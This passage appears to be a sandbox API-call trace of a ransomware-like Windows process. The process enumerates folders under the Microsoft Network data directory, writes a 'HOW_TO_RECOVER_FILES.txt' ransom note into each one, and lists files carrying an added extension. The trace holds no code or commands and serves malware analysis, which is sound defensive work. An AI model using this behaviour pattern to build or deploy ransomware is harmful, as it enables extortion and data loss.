(in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b27a0a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.939] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cm", cAlternateFileName="")) returned 1 [0140.939] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 1 [0140.939] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b27a0a2, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3b27a0a2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b27a0a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.939] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.939] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0140.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0140.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0140.939] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x30 [0140.939] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b27a0a2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b27a0a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.939] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b27a0a2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b27a0a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.939] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cm", cAlternateFileName="")) returned 1 [0140.939] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 1 [0140.939] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b27a0a2, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3b27a0a2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b27a0a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.939] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b27a0a2, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3b27a0a2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b27a0a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0140.940] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0140.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0140.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0140.940] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm", lpFilePart=0x0) returned 0x33 [0140.940] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b2079a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.940] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b2079a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.940] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2079a0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3b2079a0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b2079a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.940] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.940] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0140.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0140.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0140.940] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm", lpFilePart=0x0) returned 0x33 [0140.941] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b2079a0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b2079a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.941] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b2079a0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b2079a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.941] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2079a0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3b2079a0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b2079a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.941] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2079a0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3b2079a0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b2079a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0140.941] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0140.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0140.941] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0140.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0140.941] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\network\\connections\\cm\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.942] GetFileType (hFile=0x618) returned 0x1 [0140.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0140.942] GetFileType (hFile=0x618) returned 0x1 [0140.942] WriteFile (in: hFile=0x618, lpBuffer=0x39bd888*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x39bd888*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0140.943] CloseHandle (hObject=0x618) returned 1 [0140.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0140.943] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old", lpFilePart=0x0) returned 0x37 [0140.943] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b27a0a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.943] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b27a0a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.943] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b27a0a2, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3b27a0a2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b27a0a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.943] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.943] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0140.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0140.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0140.944] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old", lpFilePart=0x0) returned 0x37 [0140.944] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x3b27a0a2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b27a0a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.944] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x3b27a0a2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b27a0a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.944] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b27a0a2, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3b27a0a2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b27a0a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.944] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b27a0a2, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3b27a0a2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b27a0a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0140.944] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0140.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0140.944] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x50 [0140.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0140.944] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\network\\connections\\cm_old\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.945] GetFileType (hFile=0x618) returned 0x1 [0140.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0140.945] GetFileType (hFile=0x618) returned 0x1 [0140.945] WriteFile (in: hFile=0x618, lpBuffer=0x39d4a48*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x39d4a48*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0141.805] CloseHandle (hObject=0x618) returned 1 [0141.805] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0141.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0141.806] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\network\\connections\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0141.807] GetFileType (hFile=0x618) returned 0x1 [0141.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0141.807] GetFileType (hFile=0x618) returned 0x1 [0141.807] WriteFile (in: hFile=0x618, lpBuffer=0x3a36ba8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3a36ba8*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0141.807] CloseHandle (hObject=0x618) returned 1 [0141.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0141.808] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader", lpFilePart=0x0) returned 0x2f [0141.808] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b870015, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.808] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b870015, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.808] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b4dc813, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2010, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk.gоod", cAlternateFileName="EDBCHK~1.GOD")) returned 1 [0141.808] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e26fff, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576f6993, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1 [0141.808] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e4d293, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e4d293, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5e734dc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0141.808] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5e734dc, 